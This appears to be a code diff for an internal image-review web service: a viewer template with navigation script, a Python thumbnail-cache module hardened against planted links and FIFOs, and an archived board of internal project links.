|
||||
{% endfor %}
|
||||
</nav>
|
||||
</div>
|
||||
<style>
|
||||
.vnav{position:fixed;top:50%;transform:translateY(-50%);z-index:40;display:flex;
|
||||
align-items:center;justify-content:center;width:2.6rem;height:3.4rem;font-size:2rem;
|
||||
line-height:1;text-decoration:none;color:var(--fg-1);background:rgba(20,23,32,.55);
|
||||
border:1px solid rgba(255,255,255,.10);border-radius:10px;margin:0 .5rem;user-select:none;
|
||||
-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);transition:background .15s,border-color .15s}
|
||||
.vnav:hover{background:rgba(28,33,46,.92);border-color:var(--aus-bright-cyan,#42dcd1)}
|
||||
.vnav{position:absolute;top:50%;transform:translateY(-50%);z-index:4;display:flex;
|
||||
align-items:center;justify-content:center;width:40px;height:56px;font-size:28px;
|
||||
line-height:1;text-decoration:none;color:oklch(0.91 0.008 216);background:oklch(0.17 0.01 250 / .82);
|
||||
border:1px solid rgb(255 255 255 / .12);border-radius:var(--radius-lg);margin:0 8px;user-select:none;
|
||||
-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);
|
||||
transition:background var(--dur-1) var(--ease-out),border-color var(--dur-1) var(--ease-out)}
|
||||
.vnav:hover{background:oklch(0.21 0.01 248 / .92);border-color:rgb(255 255 255 / .3);text-decoration:none;
|
||||
color:oklch(0.91 0.008 216)}
|
||||
/* The next arrow clears the 360px verdict rail only while the rail sits
|
||||
beside the stage. Scoped to the wide layout: stated bare, this rule came
|
||||
later in the page than base.html's narrow override and silently won it,
|
||||
parking the arrow 360px in from the edge of a phone. */
|
||||
.vprev{left:0}.vnext{right:0}
|
||||
/* Bottom bar rather than the top chrome: a caption can run to CAPTION_MAX
|
||||
(800 chars), which would shove the filename and the Fit/1:1 toggle around. */
|
||||
.vcap{flex:0 0 auto;max-height:22vh;overflow-y:auto;padding:.6rem clamp(12px,3vw,20px);
|
||||
font-size:.85rem;line-height:1.5;color:var(--fg-1);background:var(--rk-surface,rgba(20,23,32,.92));
|
||||
border-top:1px solid rgba(255,255,255,.10);white-space:pre-wrap}
|
||||
@media print{.vcap{max-height:none;overflow:visible}}
|
||||
@media print{.vnav{display:none}}
|
||||
@media (min-width:901px){.vnext{right:360px}}
|
||||
/* Stacked (<=900px) the stage is the body's first 60vh, so its centre is 30vh
|
||||
down: the arrows' spot before the script places them (JS off, loading,
|
||||
failed), never over the rail below (heid code-review). HERE, after .vnav:
|
||||
in base.html this page's own later rule silently won it (the Nyx trap). */
|
||||
@media (max-width:900px){.vnav{top:30vh}}
|
||||
.vcap{margin-top:10px;max-height:30vh;overflow-y:auto;font-size:var(--size-sm);line-height:var(--leading-body);
|
||||
color:var(--text-body);white-space:pre-wrap}
|
||||
@media print{.vcap{max-height:none;overflow:visible}.vnav{display:none}}
|
||||
</style>
|
||||
{% include "_stage_js.html" %}
|
||||
<script>
|
||||
(function () {
|
||||
var img = document.getElementById('vimg');
|
||||
var stage = document.getElementById('vstage');
|
||||
var toggle = document.getElementById('vtoggle');
|
||||
var bFit = document.getElementById('btn-fit');
|
||||
var bOne = document.getElementById('btn-one');
|
||||
var BACK = {{ ('/b/' ~ name_url ~ '/')|tojson }};
|
||||
var BACK = {{ back_url|tojson }};
|
||||
var PREV = {{ (('?f=' ~ prev_url) if prev_url else '')|tojson }};
|
||||
var NEXT = {{ (('?f=' ~ next_url) if next_url else '')|tojson }};
|
||||
var COMPARE = {{ compare_url|tojson }};
|
||||
|
||||
function setMode(mode) {
|
||||
var fit = mode === 'fit';
|
||||
stage.classList.toggle('fit', fit);
|
||||
stage.classList.toggle('one', !fit);
|
||||
bFit.classList.toggle('on', fit);
|
||||
bOne.classList.toggle('on', !fit);
|
||||
}
|
||||
// "fits" == the image at natural size already sits inside the stage, so Fit
|
||||
// and 1:1 would render identically — in that case we hide the toggle entirely.
|
||||
function fits() {
|
||||
return img.naturalWidth <= stage.clientWidth && img.naturalHeight <= stage.clientHeight;
|
||||
}
|
||||
function evaluate() {
|
||||
if (!img.naturalWidth) return;
|
||||
if (fits()) {
|
||||
toggle.style.display = 'none';
|
||||
setMode('fit');
|
||||
} else {
|
||||
toggle.style.display = 'inline-flex';
|
||||
if (!stage.classList.contains('one')) setMode('fit');
|
||||
/* THE STAGE (r2c). The mode is ONE class on <html>, `stage-one` (absent =
|
||||
Fit), set by the head script before the stage existed. The shared
|
||||
machinery binds the toggle and pans a 1:1 picture; this page places the
|
||||
arrows at the drawn picture. */
|
||||
var stage = document.getElementById('vstage');
|
||||
var img = document.getElementById('vimg');
|
||||
var video = stage.querySelector('video');
|
||||
var rbody = stage.parentElement; /* .review-body */
|
||||
var prevA = rbody.querySelector('.vnav.vprev'), nextA = rbody.querySelector('.vnav.vnext');
|
||||
|
||||
/* The DRAWN picture's left and right edges, in viewport px, or null until
|
||||
they are known (still loading, or failed): the arrows then keep their CSS
|
||||
spot. The object-fit: contain box — which in 1:1 (scale 1) IS the
|
||||
picture's own box; where it runs past the stage, the clamp in place()
|
||||
keeps the arrows inside. */
|
||||
function drawn() {
|
||||
if (img) {
|
||||
if (!img.naturalWidth) return null;
|
||||
var b = img.getBoundingClientRect();
|
||||
var k = Math.min(b.width / img.naturalWidth, b.height / img.naturalHeight), w = img.naturalWidth * k;
|
||||
return {l: b.left + (b.width - w) / 2, r: b.left + (b.width + w) / 2};
|
||||
}
|
||||
if (video && video.videoWidth) {
|
||||
var v = video.getBoundingClientRect();
|
||||
return {l: v.left, r: v.right};
|
||||
}
|
||||
return null;
|
||||
}
|
||||
bFit.addEventListener('click', function () { setMode('fit'); });
|
||||
bOne.addEventListener('click', function () { setMode('one'); });
|
||||
img.addEventListener('load', evaluate);
|
||||
window.addEventListener('resize', evaluate);
|
||||
if (img.complete) evaluate();
|
||||
/* Each arrow wholly outside the drawn edge, its near edge 8px away, clamped
|
||||
8px inside the stage — so over the picture only when the picture spans
|
||||
the stage (operator: "unless the image spans the entire width"). */
|
||||
function place() {
|
||||
var p = drawn();
|
||||
if (!p) {
|
||||
/* unknown (loading, failed): back to the CSS spot, never a stale one */
|
||||
[prevA, nextA].forEach(function (a) {
|
||||
if (a) { a.classList.remove('is-placed'); a.style.left = ''; a.style.top = ''; }
|
||||
});
|
||||
return;
|
||||
}
|
||||
var s = stage.getBoundingClientRect(), o = rbody.getBoundingClientRect();
|
||||
/* the stage's CLIENT box: a classic scrollbar is not stage an arrow may
|
||||
sit on (heid bug-hunt, groa — the border box put the next arrow under it) */
|
||||
var cl = s.left + stage.clientLeft, cr = cl + stage.clientWidth;
|
||||
[[prevA, -1], [nextA, 1]].forEach(function (pair) {
|
||||
var a = pair[0];
|
||||
if (!a) return;
|
||||
var w = a.offsetWidth, lo = cl + 8, hi = cr - 8 - w;
|
||||
var x = pair[1] < 0 ? p.l - 8 - w : p.r + 8;
|
||||
x = Math.max(lo, Math.min(hi, x));
|
||||
a.classList.add('is-placed');
|
||||
a.style.left = (x - o.left) + 'px';
|
||||
a.style.top = (s.top - o.top + s.height / 2) + 'px';
|
||||
});
|
||||
}
|
||||
/* The stage's own machinery — Fit/1:1, pannable, drag-to-pan — is the
|
||||
shared include (_stage_js.html, r3 C4); the arrows stay this page's. */
|
||||
var st = BoothStage.attach(stage, {img: img, onSettle: place});
|
||||
var settle = st.settle;
|
||||
if (img) BoothMode.bind({
|
||||
toggle: document.getElementById('vtoggle'),
|
||||
fit: document.getElementById('btn-fit'),
|
||||
one: document.getElementById('btn-one'),
|
||||
onChange: settle
|
||||
});
|
||||
if (video) video.addEventListener('loadedmetadata', settle);
|
||||
if (window.ResizeObserver) new ResizeObserver(settle).observe(stage);
|
||||
else window.addEventListener('resize', settle);
|
||||
|
||||
/* Keep the current frame in view on the filmstrip — on load, and after an
|
||||
in-place save swaps the strip for a fresh one. Additive: without it the
|
||||
strip is still a row of links. */
|
||||
function centreFilm() {
|
||||
var cur = document.querySelector('.film-f.is-current');
|
||||
var film = document.querySelector('.film');
|
||||
if (cur && film) film.scrollLeft = cur.offsetLeft - (film.clientWidth - cur.offsetWidth) / 2;
|
||||
}
|
||||
centreFilm();
|
||||
document.addEventListener('booth:swapped', centreFilm);
|
||||
|
||||
/* Blur reveal on the stage — per-viewer, never persisted. Cosmetic, and
|
||||
the button says so. */
|
||||
var rv = document.getElementById('vreveal');
|
||||
if (rv) rv.hidden = false;
|
||||
if (rv) rv.addEventListener('click', function () {
|
||||
var on = document.getElementById('vstage').classList.toggle('revealed');
|
||||
rv.querySelector('.rv-glyph').textContent = on ? '🙈' : '👁';
|
||||
rv.querySelector('.rv-word').textContent = on ? 'hide' : 'reveal';
|
||||
rv.querySelector('.rv-note').hidden = on;
|
||||
});
|
||||
|
||||
/* EVERY key here, new and old, is left to the focused element when it
|
||||
uses it (as S5c, G6: base.html's BoothKeys): an arrow key in the note
|
||||
field is a caret move, F typed into a note is a letter, not a flag, a
|
||||
focused player keeps every key, and a focused 1:1 stage pans. */
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (BoothKeys.theirs(e)) return;
|
||||
if (e.key === 'Escape') window.location.href = BACK;
|
||||
else if (e.key === 'ArrowLeft' && PREV) window.location.href = PREV;
|
||||
else if (e.key === 'ArrowRight' && NEXT) window.location.href = NEXT;
|
||||
/* Space moves, but never from a focused control or player: Space is how
|
||||
a keyboard presses a button or follows a link (r2b, heid bug-hunt —
|
||||
Reveal all and the fog control could not be pressed). BoothKeys has
|
||||
already left it to them. */
|
||||
else if (e.key === ' ' && NEXT) { e.preventDefault(); window.location.href = e.shiftKey && PREV ? PREV : NEXT; }
|
||||
else if (e.key === 'f' || e.key === 'F') {
|
||||
var b = document.getElementById('vflag-btn'); /* re-read: the rail may have been swapped */
|
||||
if (b) { e.preventDefault(); b.click(); }
|
||||
}
|
||||
else if ((e.key === 'c' || e.key === 'C') && COMPARE) { e.preventDefault(); window.location.href = COMPARE; }
|
||||
else if (e.key === 'n' || e.key === 'N') {
|
||||
var t = document.getElementById('vnote-text');
|
||||
if (t) { e.preventDefault(); t.focus(); }
|
||||
}
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
|
||||
+273
@@ -0,0 +1,273 @@
|
||||
"""Derived thumbnails, cached inside the booth.
|
||||
|
||||
MEASURED, not assumed. ROADMAP parked progressive loading on "the largest
|
||||
gallery is 66 images; at that size a lazy grid is almost certainly fine" — which
|
||||
counted IMAGES and never weighed BYTES. The live set on 2026-09-23:
|
||||
|
||||
sindra-corpus-v1 66 images 77.5 MB 1024x1024 each
|
||||
sindra-sfw-pool 59 images 71.7 MB
|
||||
sindra 30 images 61.6 MB 2.1 MB average
|
||||
|
||||
A tile renders a few hundred px wide, so the gallery shipped roughly 16x the pixels
|
||||
that reach the screen and 77 MB on one page load. 66 is a fine count sitting on
|
||||
a terrible payload; the operator found it in about a minute of using the Desk.
|
||||
|
||||
The cache lives at `<booth>/.thumbs/<rel>.<rule>.webp` (see `thumb_path`),
|
||||
inside the booth on purpose, so it is swept with the booth and never outlives
|
||||
what it describes. And because it is inside the booth, where any fleet session
|
||||
can write, every entry on the way to it may be planted: the cache directories,
|
||||
the cache file and the temp file are each checked or created so that a link,
|
||||
a directory or a planted file cannot redirect a write or pose as a thumbnail. Both
|
||||
`booth_items` and `zip_booth` skip every dot-prefixed path COMPONENT, which they
|
||||
did not do until this module needed them to.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import functools
|
||||
import os
|
||||
import stat
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
try: # optional: absence degrades to full-size images, never to a broken page
|
||||
from PIL import Image as _Image
|
||||
from PIL import ImageOps as _ImageOps
|
||||
except ImportError: # pragma: no cover
|
||||
_Image = None
|
||||
_ImageOps = None
|
||||
|
||||
THUMB_DIR = ".thumbs"
|
||||
# SIZED FOR THE TILE'S WIDTH, AT 2x DENSITY. A gallery tile is sized by its
|
||||
# width (the image is `width:100%; height:auto`), and on the desktop grid (3
|
||||
# columns, 1440px viewports and up) it measures 321-361 CSS px, so 768 covers
|
||||
# the widest one on a 2x screen. This used to be 512 on the LONGEST side, which
|
||||
# the comment called "comfortably above any tile size", and it was, for a square.
|
||||
# A 704x1408 portrait got 256px of width for a 361px tile: 1.4x stretched at 1x,
|
||||
# 2.8x on a 2x screen, and the operator saw it as "blurry until selected".
|
||||
# Narrower windows reflow to 2 columns (up to 472px) or 1 (up to 650px) and are
|
||||
# softer than this covers at 2x. tests/test_thumbs_browser.py holds this number
|
||||
# against the rendered grid, so a wider tile turns it red instead of soft.
|
||||
THUMB_WIDTH = 768
|
||||
# Width alone would let a long screenshot through at full height.
|
||||
THUMB_HEIGHT_MAX = 4096
|
||||
# An original that already fits the bounds is served as-is only when it is also
|
||||
# LIGHT: fitting a tile in pixels is not being cheap in bytes, and a 704x1408
|
||||
# PNG is about a megabyte. Measured on the 381 live images, 2026-09-23: 768-wide
|
||||
# thumbnails average 39 KB, so anything at or under 64 KB has nothing to save.
|
||||
THUMB_LIGHT_BYTES = 64 * 1024
|
||||
THUMB_QUALITY = 78
|
||||
# A header is free to read and claims any size it likes; `thumbnail()` then
|
||||
# decodes it, on every request, because a failure is not cached. Past this the
|
||||
# original is served and nothing is decoded. 64 MP is 8K x 8K, far past any
|
||||
# image a booth has held.
|
||||
THUMB_MAX_PIXELS = 64_000_000
|
||||
# Bump when the ENCODING changes in a way the numbers above do not show (a mode
|
||||
# conversion, an orientation rule), so every cached thumbnail is rebuilt.
|
||||
THUMB_VERSION = 2
|
||||
|
||||
# What Pillow can open from a plain install. SVG is vector (Pillow cannot read
|
||||
# it, and it is already small); AVIF needs a plugin we do not require.
|
||||
THUMBABLE = {".png", ".jpg", ".jpeg", ".webp", ".gif", ".bmp"}
|
||||
|
||||
|
||||
def thumb_path(booth: Path, rel: str) -> Path:
|
||||
"""Where `rel`'s thumbnail lives. Mirrors the tree so two files with the
|
||||
same basename in different folders cannot collide.
|
||||
|
||||
THE WHOLE RULE IS IN THE NAME: width, height cap, quality and an encoding
|
||||
version. The freshness check below only notices a changed source, so a
|
||||
thumbnail cut to an older rule would otherwise be served forever. A change
|
||||
to any of them is a cache miss, and the old files are orphans swept with
|
||||
their booth."""
|
||||
rule = f"{THUMB_WIDTH}x{THUMB_HEIGHT_MAX}q{THUMB_QUALITY}v{THUMB_VERSION}"
|
||||
return booth / THUMB_DIR / f"{rel}.{rule}.webp"
|
||||
|
||||
|
||||
def wants_thumb(rel: str) -> bool:
|
||||
"""Whether a rel is a candidate at all — extension only, no file read.
|
||||
|
||||
Called from the resolver for every item on every index load, so it must not
|
||||
touch the disk."""
|
||||
return Path(rel).suffix.lower() in THUMBABLE
|
||||
|
||||
|
||||
def _fresh(out: Path, s_stat: os.stat_result) -> bool:
|
||||
"""A cache hit: a REGULAR file (lstat, so a link or a directory planted at
|
||||
the name never counts) carrying its source's EXACT mtime. Exact, not
|
||||
"at least as new": a source replaced by `cp -p` or an archive extract keeps
|
||||
an OLDER stamp, and `>=` served the old thumbnail forever."""
|
||||
try:
|
||||
o = os.lstat(out)
|
||||
except OSError:
|
||||
return False
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns
|
||||
|
||||
|
||||
def _cache_dir(booth: Path, parent: Path) -> bool:
|
||||
"""Make `parent` (a directory under `booth`) exist as REAL directories,
|
||||
component by component, never following a link. False when something that
|
||||
is not a directory is in the way: a `.thumbs` planted as a link would
|
||||
otherwise put the cache outside the booth, beyond the sweep.
|
||||
|
||||
⚠ CREATING `.thumbs` TOUCHES THE BOOTH DIRECTORY'S OWN MTIME, and
|
||||
`_newest_mtime` seeds from exactly that — so merely LOOKING at a booth aged
|
||||
it, and once the Desk pulls a thumbnail per booth, one index load would push
|
||||
every expiry out and the TTL would never fire again. Excluding the cache's
|
||||
CONTENTS is not enough; the directory entry is the leak. So the booth's
|
||||
mtime is put back after `.thumbs` is made. That cannot hide real activity:
|
||||
any file an agent adds is counted by its OWN mtime in the same walk, and the
|
||||
directory stamp is only the seed."""
|
||||
cur = booth
|
||||
for part in parent.relative_to(booth).parts:
|
||||
cur = cur / part
|
||||
try:
|
||||
if not stat.S_ISDIR(os.lstat(cur).st_mode):
|
||||
return False
|
||||
continue
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
restore = booth.stat() if cur.parent == booth else None
|
||||
try:
|
||||
os.mkdir(cur)
|
||||
except FileExistsError:
|
||||
pass
|
||||
if restore is not None:
|
||||
try:
|
||||
os.utime(booth, ns=(restore.st_atime_ns, restore.st_mtime_ns))
|
||||
except OSError:
|
||||
pass
|
||||
if not stat.S_ISDIR(os.lstat(cur).st_mode):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def ensure_thumb(booth: Path, rel: str) -> Path | None:
|
||||
"""The cached thumbnail for `rel`, generating it if needed. None when there
|
||||
should not be one — Pillow absent, unsupported type, source already
|
||||
tile-sized and light, an animation that already fits (a thumbnail is one
|
||||
frame; an animation too big to fit IS flattened), over the pixel budget,
|
||||
something planted in the cache's way, or anything at all went wrong.
|
||||
|
||||
NEVER RAISES. A thumbnail is an optimisation; a booth page that will not
|
||||
load is worse than a page that loads slowly, which is the posture every
|
||||
other read on this path already takes.
|
||||
"""
|
||||
if _Image is None or not wants_thumb(rel):
|
||||
return None
|
||||
src = booth / rel
|
||||
out = thumb_path(booth, rel)
|
||||
try:
|
||||
s_stat = src.stat()
|
||||
if _fresh(out, s_stat):
|
||||
return out
|
||||
|
||||
with _Image.open(src) as im:
|
||||
# `open` reads the header only, so this is cheap enough to decide on.
|
||||
w, h = im.size
|
||||
if w * h > THUMB_MAX_PIXELS:
|
||||
return None
|
||||
# The size the picture is SEEN at: a camera stores a portrait
|
||||
# sideways and says so in EXIF, and the browser honours it on the
|
||||
# original. Pillow does not, so sizing the raw pixels tiled a
|
||||
# portrait as a landscape (groa, seat-verified).
|
||||
orientation = im.getexif().get(0x0112, 1)
|
||||
if orientation in (5, 6, 7, 8):
|
||||
w, h = h, w
|
||||
fits = w <= THUMB_WIDTH and h <= THUMB_HEIGHT_MAX
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):
|
||||
return None # already tile-sized and cheap (or moving): serve the original
|
||||
if orientation != 1:
|
||||
im = _ImageOps.exif_transpose(im)
|
||||
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))
|
||||
if im.mode not in ("RGB", "RGBA"):
|
||||
# A palette PNG carries transparency in `info`, not as a band:
|
||||
# `getbands()` alone baked it opaque (3/4 arms, seat-executed).
|
||||
alpha = "A" in im.getbands() or "transparency" in im.info
|
||||
im = im.convert("RGBA" if alpha else "RGB")
|
||||
if not _cache_dir(booth, out.parent):
|
||||
return None
|
||||
# Atomic, like every other sidecar this service writes, through a
|
||||
# temp file created O_EXCL under an unpredictable name: the old
|
||||
# `<out>.<pid>.tmp` could be planted as a link, and the encoder
|
||||
# wrote THROUGH it (seat P5: 600 B -> 316,400 B).
|
||||
fd, tmp = tempfile.mkstemp(prefix=".", suffix=".tmp", dir=out.parent)
|
||||
try:
|
||||
with os.fdopen(fd, "wb") as fh:
|
||||
im.save(fh, "WEBP", quality=THUMB_QUALITY, method=4)
|
||||
os.utime(tmp, ns=(s_stat.st_atime_ns, s_stat.st_mtime_ns))
|
||||
os.replace(tmp, out)
|
||||
finally:
|
||||
try:
|
||||
os.unlink(tmp)
|
||||
except OSError:
|
||||
pass
|
||||
return out if _fresh(out, s_stat) else None
|
||||
except Exception: # noqa: BLE001 — a bad image costs its own tile, never the page
|
||||
return None
|
||||
|
||||
|
||||
# as S5c (G14): a gallery tile's <img> carries the picture's size, so a lazy
|
||||
# tile reserves its box before it loads and a link to a tile far down lands
|
||||
# where it points. Measured before: 40 portraits, `#item-30.png`, the tile's top
|
||||
# 44px below its mark in 3 runs of 3; with sizes, on it.
|
||||
#
|
||||
# HEADER ONLY. `Image.open` reads the header and decodes nothing. The EXIF
|
||||
# orientation is read only when the header already carried it: Pillow's PNG
|
||||
# `getexif()` otherwise DECODES the whole picture looking for a late eXIf chunk,
|
||||
# which on a 270-tile gallery is 270 decodes per render.
|
||||
#
|
||||
# CACHED by the file's identity, so a render reads each header once while it
|
||||
# is unchanged. The size of an entry is two ints; the bound keeps a long-lived
|
||||
# service from growing without limit as booths come and go.
|
||||
SIZE_CACHE = 4096
|
||||
|
||||
|
||||
def drawn_size(path: Path) -> tuple[int, int] | None:
|
||||
"""(width, height) of the picture at `path` as a browser DRAWS it: EXIF
|
||||
orientations 5-8 swap the two, as `ensure_thumb` does. None for anything
|
||||
whose header cannot be read safely.
|
||||
|
||||
NEVER RAISES. The size only shapes a tile's box before its picture loads,
|
||||
and the loaded picture's own ratio wins then (`aspect-ratio: auto w / h`),
|
||||
so a missing size is today's markup and a wrong one costs a jump, never a
|
||||
distorted picture. Any fleet session can write into a booth, so a link or
|
||||
a FIFO may be planted where a picture was: the file is opened
|
||||
`O_NOFOLLOW` (a link is refused) and `O_NONBLOCK` (a FIFO cannot hang the
|
||||
render; it reads as empty, which is not an image)."""
|
||||
if _Image is None:
|
||||
return None
|
||||
try:
|
||||
st = os.lstat(path) # the identity, never through a link
|
||||
except OSError:
|
||||
return None
|
||||
return _read_size(str(path), st.st_dev, st.st_ino, st.st_size, st.st_mtime_ns, st.st_ctime_ns)
|
||||
|
||||
|
||||
@functools.lru_cache(maxsize=SIZE_CACHE)
|
||||
def _read_size(path: str, dev: int, ino: int, size: int, mtime_ns: int,
|
||||
ctime_ns: int) -> tuple[int, int] | None:
|
||||
"""The read behind `drawn_size`. Every argument after `path` is the cache
|
||||
key's identity only: a file replaced in place is a new entry. The change
|
||||
time is in it because `cp -p` over a file keeps its inode and restores its
|
||||
mtime, and a same-length replacement kept the old size too (heid bug-hunt
|
||||
R7); no write can restore a ctime."""
|
||||
try:
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||
except OSError:
|
||||
return None
|
||||
try:
|
||||
with os.fdopen(fd, "rb") as fh:
|
||||
fd = -1
|
||||
with _Image.open(fh) as im:
|
||||
w, h = im.size
|
||||
# only when the header already carried it: see the note above
|
||||
orientation = (im.getexif().get(0x0112, 1) if "exif" in im.info else 1)
|
||||
if w <= 0 or h <= 0:
|
||||
return None
|
||||
return (h, w) if orientation in (5, 6, 7, 8) else (w, h)
|
||||
except Exception: # noqa: BLE001 — a bad header costs its own size, never the page
|
||||
return None
|
||||
finally:
|
||||
if fd >= 0:
|
||||
os.close(fd)
|
||||
@@ -0,0 +1,234 @@
|
||||
# Standing link board — verbatim archive, 2026-09-22
|
||||
|
||||
Captured before U6 (benches) shipped, per the ROADMAP rule that a migration
|
||||
destroys nothing. 221 rows: 178 booth URLs (156 of them pointing at booths
|
||||
already swept) and 43 non-booth rows, 35 distinct after normalization.
|
||||
|
||||
U6 itself deletes NOTHING — the dead rows are marked and removal stays the
|
||||
operator's two clicks. This archive exists so the board is recoverable
|
||||
off-box once he starts pruning, and so the measurements above are checkable
|
||||
against the bytes they were taken from.
|
||||
|
||||
```markdown
|
||||
- [LRPG Authoring Studio — live demo endpoint (ldp-saga)](http://10.100.10.50:8321/Authoring%20Studio.dc.html) <sub>· ldp-dev · 2026-08-19 10:04</sub>
|
||||
- [LRPG GM Player — live demo endpoint (ldp-saga; open in iPhone Safari for native)](http://10.100.10.50:8321/GM%20Playback.dc.html) <sub>· ldp-dev · 2026-08-19 10:04</sub>
|
||||
- [Scriberr — self-hosted transcription + speaker diarization (ana-ml2 GPU1); also http://10.250.50.54:8080](http://scriberr.ana.internal:8080/) <sub>· infra-ops · 2026-08-23 19:31</sub>
|
||||
- [talk — chat with a fleet voice (HTTPS, trusted cert, no warning)](https://talk.nh3.phasefinal.com:8092/) <sub>· tts-dev · 2026-09-06 23:35</sub>
|
||||
- [YTVC noise floor A/B — raw vs shipped vs +75 Hz high-pass (2 clips)](http://10.100.10.50:8090/b/ytvc-noise/) <sub>· yt-voice-clipper-dev · 2026-09-09 10:58</sub>
|
||||
- [the interview noise floor measured — denoise BEFORE distilling carries 4x better](http://10.100.10.50:8090/b/noise-floor/) <sub>· tts-dev · 2026-09-09 11:00</sub>
|
||||
- [the 5 distillation sources staged for professional denoising — drop back as <name>-clean.wav](http://10.100.10.50:8090/b/denoise-in/) <sub>· tts-dev · 2026-09-09 11:01</sub>
|
||||
- [hamr: the sliver lever + mutual-block pairing -- the operator four sites at two lever settings (2026-09-09)](http://10.100.10.50:8090/b/hamr-sliver-lever/) <sub>· nh3-dev · 2026-09-09 11:13</sub>
|
||||
- [YTVC subtractive denoiser audition — raw vs RNNoise vs DeepFilterNet 3 vs anlmdn, 2 clips + numbers](http://10.100.10.50:8090/b/ytvc-denoise/) <sub>· yt-voice-clipper-dev · 2026-09-09 11:13</sub>
|
||||
- [denoise-in — 5 clone sources handed to yt-voice-clipper-dev for a proper deep denoise pass](http://10.100.10.50:8090/b/denoise-in/) <sub>· tts-dev · 2026-09-09 12:49</sub>
|
||||
- [hamr: why the gear circle and peak edges read rough -- source vs output vs difference, measured (2026-09-09)](http://10.100.10.50:8090/b/hamr-rough-edges/) <sub>· nh3-dev · 2026-09-09 12:52</sub>
|
||||
- [hamr: CLEAN mode rendered on six marks -- and the 1024-vs-4096 test showing my instrument was under-resolved (2026-09-09)](http://10.100.10.50:8090/b/hamr-clean-mode/) <sub>· nh3-dev · 2026-09-09 13:29</sub>
|
||||
- [denoise A/B — 5 sources before/after, level-matched; emmie regressed](http://10.100.10.50:8090/b/denoise-ab/) <sub>· tts-dev · 2026-09-09 13:56</sub>
|
||||
- [REDO step 1 — pick anchors for lawson/jo/nichols/ana on the cleaned sources (one form)](http://10.100.10.50:8090/b/redo-anchors/asks) <sub>· tts-dev · 2026-09-09 14:01</sub>
|
||||
- [hamr: the sliver lever re-rendered at 4x -- the operator width's chunk is real geometry and 7x the default's edge residual (open ask: lever-default)](http://10.100.10.50:8090/b/hamr-sliver-lever/) <sub>· hamr-dev · 2026-09-09 14:31</sub>
|
||||
- [hamr: the golden corpus re-rendered at 4x -- the 1024 px instrument inflated edge roughness by 80% on a reading it could not resolve; the colour numbers were never affected](http://10.100.10.50:8090/b/hamr-corpus-4x/) <sub>· hamr-dev · 2026-09-09 14:44</sub>
|
||||
- [REDO step 2 — lawson register picks on the cleaned source (7 inline)](http://10.100.10.50:8090/b/redo-lawson/) <sub>· tts-dev · 2026-09-09 14:49</sub>
|
||||
- [REDO step 2 — jo register picks on the cleaned source (7 inline)](http://10.100.10.50:8090/b/redo-jo/) <sub>· tts-dev · 2026-09-09 14:49</sub>
|
||||
- [REDO step 2 — nichols register picks on the cleaned source (7 inline)](http://10.100.10.50:8090/b/redo-nichols/) <sub>· tts-dev · 2026-09-09 14:49</sub>
|
||||
- [REDO step 2 — ana register picks on the cleaned source (7 inline)](http://10.100.10.50:8090/b/redo-ana/) <sub>· tts-dev · 2026-09-09 14:49</sub>
|
||||
- [lawson warm rescue — seed axis vs instruction axis (warm is the corpus's untuned string)](http://10.100.10.50:8090/b/lawson-warm/) <sub>· tts-dev · 2026-09-09 15:04</sub>
|
||||
- [bank denoise vs source redo — v3+DN hits 49.8 dB; may make the whole redo unnecessary](http://10.100.10.50:8090/b/bank-denoise/) <sub>· tts-dev · 2026-09-09 15:16</sub>
|
||||
- [bank denoise A/B — lawson +26 dB, jo +21 dB; 4 of 10 banks would be DAMAGED by it](http://10.100.10.50:8090/b/bank-dn-ab/) <sub>· tts-dev · 2026-09-09 15:31</sub>
|
||||
- [Margaery step 1 — anchor picks; ⚠ 15.44s single-clip source, thinnest yet](http://10.100.10.50:8090/b/margaery-anchor/) <sub>· tts-dev · 2026-09-09 15:43</sub>
|
||||
- [hamr: 1-2 px regions -- the operator's hue/lightness rule separates 10-25x on his own artwork; lightness does the work; the eye survives at today's default](http://10.100.10.50:8090/b/hamr-thin-regions/) <sub>· hamr-dev · 2026-09-09 15:44</sub>
|
||||
- [pewpewstudio web UI restyled on PowerPellet (arcade design system): every screen, dark + daylight (2026-09-09)](http://10.100.10.50:8090/b/pewpew-powerpellet/) <sub>· pewpew-dev · 2026-09-09 15:47</sub>
|
||||
- [Margaery — 7 registers x 5 seeds, pick one per register (step 2 of 3)](http://10.100.10.50:8090/b/margaery-registers/) <sub>· tts-dev · 2026-09-09 16:03</sub>
|
||||
- [Margaery — denoise A/B on the spliced bank (step 3 of 3)](http://10.100.10.50:8090/b/margaery-denoise/) <sub>· tts-dev · 2026-09-09 16:19</sub>
|
||||
- [hamr: the blend-distance gate landed -- the crest's eye ring survives STRIP_WIDTH, the gear's rims and peak's dark-teal strip still go](http://10.100.10.50:8090/b/hamr-thin-regions/) <sub>· hamr-dev · 2026-09-09 17:10</sub>
|
||||
- [Breeze — probing the 7 unused direction axes (vendor instructions verbatim)](http://10.100.10.50:8090/b/breeze-axes/) <sub>· tts-dev · 2026-09-09 17:11</sub>
|
||||
- [ERP run 7 decision brief — gate failure, exposure, 5 decisions awaiting Vuong](http://10.100.10.50:8090/b/run07-decisions/) <sub>· infra-ops · 2026-09-09 18:10</sub>
|
||||
- [R47 tune line runs 4-7 — run 7: length FLAT, RP shape markers moved (quote-first 29%→15%)](http://10.100.10.50:8090/b/r47-runs/) <sub>· brokkr-smithy-dev · 2026-09-09 18:46</sub>
|
||||
- [hamr: the blend gate rendered -- the crest's eye ring comes back at STRIP_WIDTH, the gear's rims and peak's strip still go](http://10.100.10.50:8090/b/hamr-thin-regions/) <sub>· hamr-dev · 2026-09-09 18:52</sub>
|
||||
- [Tag sweep redone — leak test = vocabulary test; the ear questions](http://10.100.10.50:8090/b/tag-sweep/) <sub>· tts-dev · 2026-09-09 22:49</sub>
|
